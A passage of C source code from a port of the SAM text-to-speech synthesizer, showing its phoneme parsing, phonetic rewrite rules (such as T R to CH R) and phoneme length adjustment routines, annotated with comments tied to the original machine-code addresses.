PhonemeSecondLetterTable\r\n\t\t\tA = signInputTable2[Y];\r\n\t\t\t// NOT A SPECIAL AND MATCHES SECOND CHARACTER?\r\n\t\t\tif ((A != '*') && (A == sign2))\r\n\t\t\t{\r\n               // STORE THE INDEX OF THE PHONEME INTO THE phomeneIndexTable\r\n                sam->prepare.phoneme_input[position].index = Y;\r\n                sam->prepare.phoneme_input[position].pitch = sam->common.pitch;\r\n\r\n\t\t\t\t// ADVANCE THE POINTER TO THE phonemeIndexTable\r\n\t\t\t\tposition++;\r\n\t\t\t\t// ADVANCE THE POINTER TO THE phonemeInputBuffer\r\n\t\t\t\tX++;\r\n\r\n\t\t\t\t// CONTINUE PARSING\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t// NO MATCH, TRY TO MATCH ON FIRST CHARACTER TO WILDCARD NAMES (ENDING WITH '*')\r\n\t\t\r\n\t\t// ADVANCE TO THE NEXT POSITION\r\n\t\tY++;\r\n\t\t// IF NOT END OF TABLE, CONTINUE\r\n\t\tif (Y != 81) goto pos41095;\r\n\r\n// REACHED END OF TABLE WITHOUT AN EXACT (2 CHARACTER) MATCH.\r\n// THIS TIME, SEARCH FOR A 1 CHARACTER MATCH AGAINST THE WILDCARDS\r\n\r\n// RESET THE INDEX TO POINT TO THE START OF THE PHONEME NAME TABLE\r\n\t\tY = 0;\r\npos41134:\r\n// DOES THE PHONEME IN THE TABLE END WITH '*'?\r\n\t\tif (signInputTable2[Y] == '*')\r\n\t\t{\r\n// DOES THE FIRST CHARACTER MATCH THE FIRST LETTER OF THE PHONEME\r\n\t\t\tif (signInputTable1[Y] == sign1)\r\n\t\t\t{\r\n                // SAVE THE POSITION AND MOVE AHEAD\r\n\t\t\t\tsam->prepare.phoneme_input[position].index = Y;\r\n                sam->prepare.phoneme_input[position].pitch = sam->common.pitch;\r\n\t\t\t\t\r\n\t\t\t\t// ADVANCE THE POINTER\r\n\t\t\t\tposition++;\r\n\t\t\t\t\r\n\t\t\t\t// CONTINUE THROUGH THE LOOP\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t}\r\n\t\tY++;\r\n\t\tif (Y != 81) goto pos41134; //81 is size of PHONEME NAME table\r\n\r\n// FAILED TO MATCH WITH A WILDCARD. ASSUME THIS IS A STRESS\r\n// CHARACTER. SEARCH THROUGH THE STRESS TABLE\r\n\r\n        // SET INDEX TO POSITION 8 (END OF STRESS TABLE)\r\n\t\tY = 8;\r\n\t\t\r\n       // WALK BACK THROUGH TABLE LOOKING FOR A MATCH\r\n\t\twhile( (sign1 != stressInputTable[Y]) && (Y>0))\r\n\t\t{\r\n  // DECREMENT INDEX\r\n\t\t\tY--;\r\n\t\t}\r\n\r\n        // REACHED THE END OF THE SEARCH WITHOUT BREAKING OUT OF LOOP?\r\n\t\tif (Y == 0)\r\n\t\t{\r\n\t\t\t//mem[39444] = X;\r\n\t\t\t//41181: JSR 42043 //Error\r\n           // FAILED TO MATCH ANYTHING, RETURN 0 ON FAILURE\r\n            sam_error = \"Phoneme not understood\";\r\n\t\t\treturn 0;\r\n\t\t}\r\n// SET THE STRESS FOR THE PRIOR PHONEME\r\n\t\tsam->prepare.phoneme_input[position-1].stress = Y;\r\n\t} //while\r\n}\r\n\r\n\r\n\r\n\r\n//change phonemelength depedendent on stress\r\n//void Code41203()\r\nvoid SetPhonemeLength(sam_memory* sam)\r\n{\r\n\tunsigned char A;\r\n\tint position = 0;\r\n\twhile(sam->prepare.phoneme_input[position].index != PHONEME_END )\r\n\t{\r\n        A = sam->prepare.phoneme_input[position].stress;\r\n        //41218: BMI 41229\r\n        if ((A == 0) || ((A&128) != 0))\r\n        {\r\n            sam->prepare.phoneme_input[position].length = phonemeLengthTable[sam->prepare.phoneme_input[position].index];\r\n        } else\r\n        {\r\n            sam->prepare.phoneme_input[position].length = phonemeStressedLengthTable[sam->prepare.phoneme_input[position].index];\r\n        }\r\n        position++;\r\n    }\r\n}\r\n\r\n\r\nvoid Code41240(sam_memory* sam)\r\n{\r\n\tunsigned char pos=0;\r\n\r\n\twhile(sam->prepare.phoneme_input[pos].index != PHONEME_END)\r\n\t{\r\n\t\tunsigned char index; //register AC\r\n\t\tunsigned char X = pos;\r\n\t\tindex = sam->prepare.phoneme_input[pos].index;\r\n\t\tif ((flags[index]&2) == 0)\r\n\t\t{\r\n\t\t\tpos++;\r\n\t\t\tcontinue;\r\n\t\t} else\r\n\t\tif ((flags[index]&1) == 0)\r\n\t\t{\r\n\t\t\tInsert(sam, pos+1, index+1, phonemeLengthTable[index+1], sam->prepare.phoneme_input[pos].stress, sam->prepare.phoneme_input[pos].pitch);\r\n\t\t\tInsert(sam, pos+2, index+2, phonemeLengthTable[index+2], sam->prepare.phoneme_input[pos].stress, sam->prepare.phoneme_input[pos].pitch);\r\n\t\t\tpos += 3;\r\n\t\t\tcontinue;\r\n\t\t}\r\n        unsigned char A;\r\n\t\tdo\r\n\t\t{\r\n\t\t\tX++;\r\n\t\t\tA = sam->prepare.phoneme_input[X].index;\r\n\t\t} while(A==0);\r\n\r\n\t\tif (A != PHONEME_END)\r\n\t\t{\r\n\t\t\tif ((flags[A] & 8) != 0)  {pos++; continue;}\r\n\t\t\tif ((A == 36) || (A == 37)) {pos++; continue;} // '/H' '/X'\r\n\t\t}\r\n\r\n\t\tInsert(sam, pos+1, index+1, phonemeLengthTable[index+1], sam->prepare.phoneme_input[pos].stress, sam->prepare.phoneme_input[pos].pitch);\r\n\t\tInsert(sam, pos+2, index+2, phonemeLengthTable[index+2], sam->prepare.phoneme_input[pos].stress, sam->prepare.phoneme_input[pos].pitch);\r\n\t\tpos += 3;\r\n\t};\r\n\r\n}\r\n\r\n// Rewrites the phonemes using the following rules:\r\n//\r\n//       <DIPHTONG ENDING WITH WX> -> <DIPHTONG ENDING WITH WX> WX\r\n//       <DIPHTONG NOT ENDING WITH WX> -> <DIPHTONG NOT ENDING WITH WX> YX\r\n//       UL -> AX L\r\n//       UM -> AX M\r\n//       <STRESSED VOWEL> <SILENCE> <STRESSED VOWEL> -> <STRESSED VOWEL> <SILENCE> Q <VOWEL>\r\n//       T R -> CH R\r\n//       D R -> J R\r\n//       <VOWEL> R -> <VOWEL> RX\r\n//       <VOWEL> L -> <VOWEL> LX\r\n//       G S -> G Z\r\n//       K <VOWEL OR DIPHTONG NOT ENDING WITH IY> -> KX <VOWEL OR DIPHTONG NOT ENDING WITH IY>\r\n//       G <VOWEL OR DIPHTONG NOT ENDING WITH IY> -> GX <VOWEL OR DIPHTONG NOT ENDING WITH IY>\r\n//       S P -> S B\r\n//       S T -> S D\r\n//       S K -> S G\r\n//       S KX -> S GX\r\n//       <ALVEOLAR> UW -> <ALVEOLAR> UX\r\n//       CH -> CH CH' (CH requires two phonemes to represent it)\r\n//       J -> J J' (J requires two phonemes to represent it)\r\n//       <UNSTRESSED VOWEL> T <PAUSE> -> <UNSTRESSED VOWEL> DX <PAUSE>\r\n//       <UNSTRESSED VOWEL> D <PAUSE>  -> <UNSTRESSED VOWEL> DX <PAUSE>\r\n\r\n\r\n//void Code41397()\r\nvoid Parser2(sam_memory* sam)\r\n{\r\n\tunsigned char pos = 0; //mem66;\r\n\tunsigned char mem58 = 0;\r\n\r\n\r\n  // Loop through phonemes\r\n\twhile(1)\r\n\t{\r\n// SET X TO THE CURRENT POSITION\r\n\t\tunsigned char X = pos;\r\n// GET THE PHONEME AT THE CURRENT POSITION\r\n\t\tunsigned char A = sam->prepare.phoneme_input[pos].index;\r\n\r\n// DEBUG: Print phoneme and index\r\n// DEBUG:\t\tif (debug && A != PHONEME_END) printf(\"%d: %c%c\\n\", X, signInputTable1[A], signInputTable2[A]);\r\n\r\n// Is phoneme pause or pitch shift?\r\n\t\tif (A == 0)\r\n\t\t{\r\n// Move ahead to the \r\n\t\t\tpos++;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\t\r\n// If end of phonemes flag reached, exit routine\r\n\t\tif (A == PHONEME_END) return;\r\n\t\t\r\n// Copy the current phoneme index to Y\r\n\t\tunsigned char Y = A;\r\n\r\n// RULE: \r\n//       <DIPHTONG ENDING WITH WX> -> <DIPHTONG ENDING WITH WX> WX\r\n//       <DIPHTONG NOT ENDING WITH WX> -> <DIPHTONG NOT ENDING WITH WX> YX\r\n// Example: OIL, COW\r\n\r\n\r\n// Check for DIPHTONG\r\n\t\tif ((flags[A] & 16) == 0) goto pos41457;\r\n\r\n// Not a diphthong. Get the stress\r\n\t\tmem58 = sam->prepare.phoneme_input[pos].stress;\r\n\t\t\r\n// End in IY sound?\r\n\t\tA = flags[Y] & 32;\r\n\t\t\r\n// If ends with IY, use YX, else use WX\r\n\t\tif (A == 0) A = 20; else A = 21;    // 'WX' = 20 'YX' = 21\r\n\t\t//pos41443:\r\n// Insert at WX or YX following, copying the stress\r\n\r\n\t\t//DEBUG: if (A==20) printf(\"RULE: insert WX following diphtong NOT ending in IY sound\\n\");\r\n\t\t//DEBUG: if (A==21) printf(\"RULE: insert YX following diphtong ending in IY sound\\n\");\r\n\t\tInsert(sam, pos+1, A, 0, mem58, sam->prepare.phoneme_input[pos].pitch);\r\n\t\tX = pos;\r\n// Jump to ???\r\n\t\tgoto pos41749;\r\n\r\n\r\n\r\npos41457:\r\n         \r\n// RULE:\r\n//       UL -> AX L\r\n// Example: MEDDLE\r\n       \r\n// Get phoneme\r\n\t\tA = sam->prepare.phoneme_input[X].index;\r\n// Skip this rule if phoneme is not UL\r\n\t\tif (A != 78) goto pos41487;  // 'UL'\r\n\t\tA = 24;         // 'L'                 //change 'UL' to 'AX L'\r\n\t\t\r\n\t\t//DEBUG: printf(\"RULE: UL -> AX L\\n\");\r\n\r\npos41466:\r\n// Get current phoneme stress\r\n\t\tmem58 = sam->prepare.phoneme_input[X].stress;\r\n\t\t\r\n// Change UL to AX\r\n\t\tsam->prepare.phoneme_input[X].index = 13;  // 'AX'\r\n// Perform insert. Note code below may jump up here with different values\r\n\t\tInsert(sam, X+1, A, 0, mem58, sam->prepare.phoneme_input[X].pitch);\r\n\t\tpos++;\r\n// Move to next phoneme\r\n\t\tcontinue;\r\n\r\npos41487:\r\n         \r\n// RULE:\r\n//       UM -> AX M\r\n// Example: ASTRONOMY\r\n         \r\n// Skip rule if phoneme != UM\r\n\t\tif (A != 79) goto pos41495;   // 'UM'\r\n\t\t// Jump up to branch - replaces current phoneme with AX and continues\r\n\t\tA = 27; // 'M'  //change 'UM' to  'AX M'\r\n\t\t//DEBUG: printf(\"RULE: UM -> AX M\\n\");\r\n\t\tgoto pos41466;\r\npos41495:\r\n\r\n// RULE:\r\n//       UN -> AX N\r\n// Example: FUNCTION\r\n\r\n         \r\n// Skip rule if phoneme != UN\r\n\t\tif (A != 80) goto pos41503; // 'UN'\r\n\t\t\r\n\t\t// Jump up to branch - replaces current phoneme with AX and continues\r\n\t\tA = 28;         // 'N' //change UN to 'AX N'\r\n\t\t//DEBUG: printf(\"RULE: UN -> AX N\\n\");\r\n\t\tgoto pos41466;\r\npos41503:\r\n         \r\n// RULE:\r\n//       <STRESSED VOWEL> <SILENCE> <STRESSED VOWEL> -> <STRESSED VOWEL> <SILENCE> Q <VOWEL>\r\n// EXAMPLE: AWAY EIGHT\r\n         \r\n\t\tY = A;\r\n// VOWEL set?\r\n\t\tA = flags[A] & 128;\r\n\r\n// Skip if not a vowel\r\n\t\tif (A != 0)\r\n\t\t{\r\n// Get the stress\r\n\t\t\tA = sam->prepare.phoneme_input[X].stress;\r\n\r\n// If stressed...\r\n\t\t\tif (A != 0)\r\n\t\t\t{\r\n// Get the following phoneme\r\n\t\t\t\tX++;\r\n\t\t\t\tA = sam->prepare.phoneme_input[X].index;\r\n// If following phoneme is a pause\r\n\r\n\t\t\t\tif (A == 0)\r\n\t\t\t\t{\r\n// Get the phoneme following pause\r\n\t\t\t\t\tX++;\r\n\t\t\t\t\tY = sam->prepare.phoneme_input[X].index;\r\n\r\n// Check for end of buffer flag\r\n\t\t\t\t\tif (Y == PHONEME_END) //buffer overflow\r\n// ??? Not sure about these flags\r\n     \t\t\t\t\tA = 65&128;\r\n\t\t\t\t\telse\r\n// And VOWEL flag to current phoneme's flags\r\n     \t\t\t\t\tA = flags[Y] & 128;\r\n\r\n// If following phonemes is not a pause\r\n\t\t\t\t\tif (A != 0)\r\n\t\t\t\t\t{\r\n// If the following phoneme is not stressed\r\n\t\t\t\t\t\tA = sam->prepare.phoneme_input[X].stress;\r\n\t\t\t\t\t\tif (A != 0)\r\n\t\t\t\t\t\t{\r\n// Insert a glottal stop and move forward\r\n\t\t\t\t\t\t\t//DEBUG: printf(\"RULE: Insert glottal stop between two stressed vowels with space between them\\n\");\r\n\t\t\t\t\t\t\t// 31 = 'Q'\r\n\t\t\t\t\t\t\tInsert(sam, X, 31, 0, 0, 0);\r\n\t\t\t\t\t\t\tpos++;\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\r\n// RULES FOR PHONEMES BEFORE R\r\n//        T R -> CH R\r\n// Example: TRACK\r\n\r\n\r\n// Get current position and phoneme\r\n\t\tX = pos;\r\n\t\tA = sam->prepare.phoneme_input[pos].index;\r\n\t\tif (A != 23) goto pos41611;     // 'R'\r\n\t\t\r\n// Look at prior phoneme\r\n\t\tX--;\r\n\t\tA = sam->prepare.phoneme_input[pos-1].index;\r\n\t\t//pos41567:\r\n\t\tif (A == 69)                    // 'T'\r\n\t\t{\r\n// Change T to CH\r\n\t\t\t//DEBUG: printf(\"RULE: T R -> CH R\\n\");\r\n\t\t\tsam->prepare.phoneme_input[pos-1].index = 42;\r\n\t\t\tgoto pos41779;\r\n\t\t}\r\n\r\n\r\n// RULES FOR PHONEMES BEFORE R\r\n//        D R -> J R\r\n// Example: DRY\r\n\r\n// Prior phonemes D?\r\n\t\tif (A == 57)                    // 'D'\r\n\t\t{\r\n// Change D to J\r\n\t\t\tsam->prepare.phoneme_input[pos-1].index = 44;\r\n\t\t\t//DEBUG: printf(\"RULE: D R -> J R\\n\");\r\n\t\t\tgoto pos41788;\r\n\t\t}\r\n\r\n// RULES FOR PHONEMES BEFORE R\r\n//        <VOWEL> R -> <VOWEL> RX\r\n// Example: ART\r\n\r\n\r\n// If vowel flag is set change R to RX\r\n\t\tA = flags[A] & 128;\r\n\t\t//DEBUG: printf(\"RULE: R -> RX\\n\");\r\n\t\tif (A != 0) sam->prepare.phoneme_input[pos].index = 18;  // 'RX'\r\n\t\t\r\n// continue to next phoneme\r\n\t\tpos++;\r\n\t\tcontinue;\r\n\r\npos41611:\r\n\r\n// RULE:\r\n//       <VOWEL> L -> <VOWEL> LX\r\n// Example: ALL\r\n\r\n// Is phoneme L?\r\n\t\tif (A == 24)    // 'L'\r\n\t\t{\r\n// If prior phoneme does not have VOWEL flag set, move to next phoneme\r\n\t\t\tif ((flags[sam->prepare.phoneme_input[pos-1].index] & 128) == 0) {pos++; continue;}\r\n// Prior phoneme has VOWEL flag set, so change L to LX and move to next phoneme\r\n\t\t\t//DEBUG: printf(\"RULE: <VOWEL> L -> <VOWEL> LX\\n\");\r\n\t\t\tsam->prepare.phoneme_input[X].index = 19;     // 'LX'\r\n\t\t\tpos++;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\t\r\n// RULE:\r\n//       G S -> G Z\r\n//\r\n// Can't get to fire -\r\n//       1. The G -> GX rule intervenes\r\n//       2. Reciter already replaces GS -> GZ\r\n\r\n// Is current phoneme S?\r\n\t\tif (A == 32)    // 'S'\r\n\t\t{\r\n// If prior phoneme is not G, move to next phoneme\r\n\t\t\tif (sam->prepare.phoneme_input[pos-1].index != 60) {pos++; continue;}\r\n// Replace S with Z and move on\r\n\t\t\t//DEBUG: printf(\"RULE: G S -> G Z\\n\");\r\n\t\t\tsam->prepare.phoneme_input[pos].index = 38;    // 'Z'\r\n\t\t\tpos++;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\n// RULE:\r\n//             K <VOWEL OR DIPHTONG NOT ENDING WITH IY> -> KX <VOWEL OR DIPHTONG NOT ENDING WITH IY>\r\n// Example: COW\r\n\r\n// Is current phoneme K?\r\n\t\tif (A == 72)    // 'K'\r\n\t\t{\r\n// Get next phoneme\r\n\t\t\tY = sam->prepare.phoneme_input[pos+1].index;\r\n// If at end, replace current phoneme with KX\r\n\t\t\tif (Y == PHONEME_END) sam->prepare.phoneme_input[pos].index = 75; // ML : prevents an index out of bounds problem\r\n\t\t\telse\r\n\t\t\t{\r\n// VOWELS AND DIPHTONGS ENDING WITH IY SOUND flag set?\r\n\t\t\t\tA = flags[Y] & 32;\r\n\t\t\t\t//DEBUG: if (A==0) printf(\"RULE: K <VOWEL OR DIPHTONG NOT ENDING WITH IY> -> KX <VOWEL OR DIPHTONG NOT ENDING WITH IY>\\n\");\r\n// Replace with KX\r\n\t\t\t\tif (A == 0) sam->prepare.phoneme_input[pos].index = 75;  // 'KX'\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\r\n// RULE:\r\n//             G <VOWEL OR DIPHTONG NOT ENDING WITH IY> -> GX <VOWEL OR DIPHTONG NOT ENDING WITH IY>\r\n// Example: GO\r\n\r\n\r\n// Is character a G?\r\n\t\tif (A == 60)   // 'G'\r\n\t\t{\r\n// Get the following character\r\n\t\t\tunsigned char index = sam->prepare.phoneme_input[pos+1].index;\r\n\t\t\t\r\n// At end of buffer?\r\n\t\t\tif (index == PHONEME_END) //prevent buffer overflow\r\n\t\t\t{\r\n\t\t\t\tpos++; continue;\r\n\t\t\t}\r\n\t\t\telse\r\n// If diphtong ending with YX, move continue processing next phoneme\r\n\t\t\tif ((flags[index] & 32) != 0) {pos++; continue;}\r\n// replace G with GX and continue processing next phoneme\r\n\t\t\t//DEBUG: printf(\"RULE: G <VOWEL OR DIPHTONG NOT ENDING WITH IY> -> GX <VOWEL OR DIPHTONG NOT ENDING WITH IY>\\n\");\r\n\t\t\tsam->prepare.phoneme_input[pos].index = 63; // 'GX'\r\n\t\t\tpos++;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\t\r\n// RULE:\r\n//      S P -> S B\r\n//      S T -> S D\r\n//      S K -> S G\r\n//      S KX -> S GX\r\n// Examples: SPY, STY, SKY, SCOWL\r\n\t\t\r\n\t\tY = sam->prepare.phoneme_input[pos].index;\r\n\t\t//pos41719:\r\n// Replace with softer version?\r\n\t\tA = flags[Y] & 1;\r\n\t\tif (A == 0) goto pos41749;\r\n\t\tA = sam->prepare.phoneme_input[pos-1].index;\r\n\t\tif (A != 32)    // 'S'\r\n\t\t{\r\n\t\t\tA = Y;\r\n\t\t\tgoto pos41812;\r\n\t\t}\r\n\t\t// Replace with softer version\r\n\t\t//DEBUG: printf(\"RULE: S* %c%c -> S* %c%c\\n\", signInputTable1[Y], signInputTable2[Y],signInputTable1[Y-12], signInputTable2[Y-12]);\r\n\t\tsam->prepare.phoneme_input[pos].index = Y-12;\r\n\t\tpos++;\r\n\t\tcontinue;\r\n\r\n\r\npos41749:\r\n         \r\n// RULE:\r\n//      <ALVEOLAR> UW -> <ALVEOLAR> UX\r\n//\r\n// Example: NEW, DEW, SUE, ZOO, THOO, TOO\r\n\r\n//       UW -> UX\r\n\r\n\t\tA = sam->prepare.phoneme_input[X].index;\r\n\t\tif (A == 53)    // 'UW'\r\n\t\t{\r\n// ALVEOLAR flag set?\r\n\t\t\tY = sam->prepare.phoneme_input[X-1].index;\r\n\t\t\tA = flags2[Y] & 4;\r\n// If not set, continue processing next phoneme\r\n\t\t\tif (A == 0) {pos++; continue;}\r\n\t\t\t//DEBUG: printf(\"RULE: <ALVEOLAR> UW -> <ALVEOLAR> UX\\n\");\r\n\t\t\tsam->prepare.phoneme_input[X].index = 16;\r\n\t\t\tpos++;\r\n\t\t\tcontinue;\r\n\t\t}\r\npos41779:\r\n\r\n// RULE:\r\n//       CH -> CH CH' (CH requires two phonemes to represent it)\r\n// Example: CHEW\r\n\r\n\t\tif (A == 42)    // 'CH'\r\n\t\t{\r\n\t\t\t//        pos41783:\r\n\t\t\t//DEBUG: printf(\"CH -> CH CH+1\\n\");\r\n\t\t\tInsert(sam, X+1, A+1, 0, sam->prepare.phoneme_input[X].stress, sam->prepare.phoneme_input[X].pitch);\r\n\t\t\tpos++;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\npos41788:\r\n         \r\n// RULE:\r\n//       J -> J J' (J requires two phonemes to represent it)\r\n// Example: JAY\r\n         \r\n\r\n\t\tif (A == 44) // 'J'\r\n\t\t{\r\n\t\t\t//DEBUG: printf(\"J -> J J+1\\n\");\r\n\t\t\tInsert(sam, X+1, A+1, 0, sam->prepare.phoneme_input[X].stress, sam->prepare.phoneme_input[X].pitch);\r\n\t\t\tpos++;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\t\r\n// Jump here to continue \r\npos41812:\r\n\r\n// RULE: Soften T following vowel\r\n// NOTE: This rule fails for cases such as \"ODD\"\r\n//       <UNSTRESSED VOWEL> T <PAUSE> -> <UNSTRESSED VOWEL> DX <PAUSE>\r\n//       <UNSTRESSED VOWEL> D <PAUSE>  -> <UNSTRESSED VOWEL> DX <PAUSE>\r\n// Example: PARTY, TARDY\r\n\r\n\r\n// Past this point, only process if phoneme is T or D\r\n         \r\n\t\tif (A != 69)    // 'T'\r\n\t\tif (A != 57) {pos++; continue;}       // 'D'\r\n\t\t//pos41825:\r\n\r\n\r\n// If prior phoneme is not a vowel, continue processing phonemes\r\n\t\tif ((flags[sam->prepare.phoneme_input[X-1].index] & 128) == 0) {pos++; continue;}\r\n\t\t\r\n// Get next phoneme\r\n\t\tX++;\r\n\t\tA = sam->prepare.phoneme_input[X].index;\r\n\t\t//pos41841\r\n// Is the next phoneme a pause?\r\n\t\tif (A != 0)\r\n\t\t{\r\n// If next phoneme is not a pause, continue processing phonemes\r\n\t\t\tif ((flags[A] & 128) == 0) {pos++; continue;}\r\n// If next phoneme is stressed, continue processing phonemes\r\n// FIXME: How does a pause get stressed?\r\n\t\t\tif (sam->prepare.phoneme_input[X].stress != 0) {pos++; continue;}\r\n//pos41856:\r\n// Set phonemes to DX\r\n\t\t//DEBUG: printf(\"RULE: Soften T or D following vowel or ER and preceding a pause -> DX\\n\");\r\n\t\tsam->prepare.phoneme_input[pos].index = 30;       // 'DX'\r\n\t\t} else\r\n\t\t{\r\n\t\t\tA = sam->prepare.phoneme_input[X+1].index;\r\n\t\t\tif (A == PHONEME_END) //prevent buffer overflow\r\n\t\t\t\tA = 65 & 128;\r\n\t\t\telse\r\n// Is next phoneme a vowel or ER?\r\n\t\t\t\tA = flags[A] & 128;\r\n\t\t\t//DEBUG: if (A != 0) printf(\"RULE: Soften T or D following vowel or ER and preceding a pause -> DX\\n\");\r\n\t\t\tif (A != 0) sam->prepare.phoneme_input[pos].index = 30;  // 'DX'\r\n\t\t}\r\n\r\n\t\tpos++;\r\n\r\n\t} // while\r\n}\r\n\r\n\r\n// Applies various rules that adjust the lengths of phonemes\r\n//\r\n//         Lengthen <FRICATIVE> or <VOICED> between <VOWEL> and <PUNCTUATION> by 1.5\r\n//         <VOWEL> <RX | LX> <CONSONANT> - decrease <VOWEL> length by 1\r\n//         <VOWEL> <UNVOICED PLOSIVE> - decrease vowel by 1/8th\r\n//         <VOWEL> <UNVOICED CONSONANT> - increase vowel by 1/2 + 1\r\n//         <NASAL> <STOP CONSONANT> - set nasal = 5, consonant = 6\r\n//         <VOICED STOP CONSONANT> {optional silence} <STOP CONSONANT> - shorten both to 1/2 + 1\r\n//         <LIQUID CONSONANT> <DIPHTONG> - decrease by 2\r\n\r\n\r\n//void Code48619()\r\nvoid AdjustLengths(sam_memory* sam)\r\n{\r\n\r\n    // LENGTHEN VOWELS PRECEDING PUNCTUATION\r\n    //\r\n    // Search for punctuation. If found, back up to the first vowel, then\r\n    // process all phonemes between there and up to (but not including) the punctuation.\r\n    // If any phoneme is found that is a either a fricative or voiced, the duration is\r\n    // increased by (length * 1.5) + 1\r\n\r\n    // loop index\r\n\tunsigned char X = 0;\r\n\tunsigned char index;\r\n    unsigned char mem56;\r\n\r\n    // iterate through the phoneme list\r\n\tunsigned char loopIndex=0;\r\n\twhile(1)\r\n\t{\r\n        // get a phoneme\r\n\t\tindex = sam->prepare.phoneme_input[X].index;\r\n\t\t\r\n\t\t// exit loop if end on buffer token\r\n\t\tif (index == PHONEME_END) break;\r\n\r\n\t\t// not punctuation?\r\n\t\tif((flags2[index] & 1) == 0)\r\n\t\t{\r\n            // skip\r\n\t\t\tX++;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\t\r\n\t\t// hold index\r\n\t\tloopIndex = X;\r\n\t\t\r\n\t\t// Loop backwards from this point\r\npos48644:\r\n         \r\n        // back up one phoneme\r\n\t\tX--;\r\n\t\t\r\n\t\t// stop once the beginning is reached\r\n\t\tif(X == 0) break;\r\n\t\t\r\n\t\t// get the preceding phoneme\r\n\t\tindex = sam->prepare.phoneme_input[X].index;\r\n\r\n\t\tif (index != PHONEME_END) //inserted to prevent access overrun\r\n\t\tif((flags[index] & 128) == 0) goto pos48644; // if not a vowel, continue looping\r\n\r\n\t\t//pos48657:\r\n\t\tdo\r\n\t\t{\r\n            // test for vowel\r\n\t\t\tindex = sam->prepare.phoneme_input[X].index;\r\n\r\n\t\t\tif (index != PHONEME_END)//inserted to prevent access overrun\r\n\t\t\t// test for fricative/unvoiced or not voiced\r\n\t\t\tif(((flags2[index] & 32) == 0) || ((flags[index] & 4) != 0))     //nochmal berprfen\r\n\t\t\t{\r\n\t\t\t\t//A = flags[Y] & 4;\r\n\t\t\t\t//if(A == 0) goto pos48688;\r\n\t\t\t\t\t\t\t\t\r\n                // get the phoneme length\r\n\t\t\t\tunsigned char A = sam->prepare.phoneme_input[X].length;\r\n\r\n\t\t\t\t// change phoneme length to (length * 1.5) + 1\r\n\t\t\t\tA = (A >> 1) + A + 1;\r\n//DEBUG: printf(\"RULE: Lengthen <FRICATIVE> or <VOICED> between <VOWEL> and <PUNCTUATION> by 1.5\\n\");\r\n//DEBUG: printf(\"PRE\\n\");\r\n//DEBUG: printf(\"phoneme %d (%c%c) length %d\\n\", X, signInputTable1[sam->prepare.phoneme_input[X].index], signInputTable2[sam->prepare.phoneme_input[X].index], sam->prepare.phoneme_input[X].length);\r\n\r\n\t\t\t\tsam->prepare.phoneme_input[X].length = A;\r\n\t\t\t\t\r\n//DEBUG: printf(\"POST\\n\");\r\n//DEBUG: printf(\"phoneme %d (%c%c) length %d\\n\", X, signInputTable1[sam->prepare.phoneme_input[X].index], signInputTable2[sam->prepare.phoneme_input[X].index], sam->prepare.phoneme_input[X].length);\r\n\r\n\t\t\t}\r\n            // keep moving forward\r\n\t\t\tX++;\r\n\t\t} while (X != loopIndex);\r\n\t\t//\tif (X != loopIndex) goto pos48657;\r\n\t\tX++;\r\n\t}  // while\r\n\r\n    // Similar to the above routine, but shorten vowels under some circumstances\r\n\r\n    // Loop throught all phonemes\r\n\tloopIndex = 0;\r\n\t//pos48697\r\n\r\n\twhile(1)\r\n\t{\r\n        // get a phoneme\r\n\t\tX = loopIndex;\r\n\t\tindex = sam->prepare.phoneme_input[X].index;\r\n\t\t\r\n\t\t// exit routine at end token\r\n\t\tif (index == PHONEME_END) return;\r\n\r\n\t\t// vowel?\r\n\t\tunsigned char A = flags[index] & 128;\r\n\t\tif (A != 0)\r\n\t\t{\r\n            // get next phoneme\r\n\t\t\tX++;\r\n\t\t\tindex = sam->prepare.phoneme_input[X].index;\r\n\t\t\t\r\n\t\t\t// get flags\r\n\t\t\tif (index == PHONEME_END)\r\n\t\t\tmem56 = 65; // use if end marker\r\n\t\t\telse\r\n\t\t\tmem56 = flags[index];\r\n\r\n            // not a consonant\r\n\t\t\tif ((flags[index] & 64) == 0)\r\n\t\t\t{\r\n                // RX or LX?\r\n\t\t\t\tif ((index == 18) || (index == 19))  // 'RX' & 'LX'\r\n\t\t\t\t{\r\n                    // get the next phoneme\r\n\t\t\t\t\tX++;\r\n\t\t\t\t\tindex = sam->prepare.phoneme_input[X].index;\r\n\t\t\t\t\t\r\n\t\t\t\t\t// next phoneme a consonant?\r\n\t\t\t\t\tif ((flags[index] & 64) != 0) {\r\n                        // RULE: <VOWEL> RX | LX <CONSONANT>\r\n                        \r\n                        \r\n//DEBUG: printf(\"RULE: <VOWEL> <RX | LX> <CONSONANT> - decrease length by 1\\n\");\r\n//DEBUG: printf(\"PRE\\n\");\r\n//DEBUG: printf(\"phoneme %d (%c%c) length %d\\n\", loopIndex, signInputTable1[sam->prepare.phoneme_input[loopIndex].index], signInputTable2[sam->prepare.phoneme_input[loopIndex].index], sam->prepare.phoneme_input[loopIndex].length);\r\n                        \r\n                        // decrease length of vowel by 1 frame\r\n    \t\t\t\t\tsam->prepare.phoneme_input[loopIndex].length--;\r\n\r\n//DEBUG: printf(\"POST\\n\");\r\n//DEBUG: printf(\"phoneme %d (%c%c) length %d\\n\", loopIndex, signInputTable1[sam->prepare.phoneme_input[loopIndex].index], signInputTable2[sam->prepare.phoneme_input[loopIndex].index], sam->prepare.phoneme_input[loopIndex].length);\r\n\r\n                    }\r\n                    // move ahead\r\n\t\t\t\t\tloopIndex++;\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\t// move ahead\r\n\t\t\t\tloopIndex++;\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t// Got here if not <VOWEL>\r\n\r\n            // not voiced\r\n\t\t\tif ((mem56 & 4) == 0)\r\n\t\t\t{\r\n                       \r\n                 // Unvoiced \r\n                 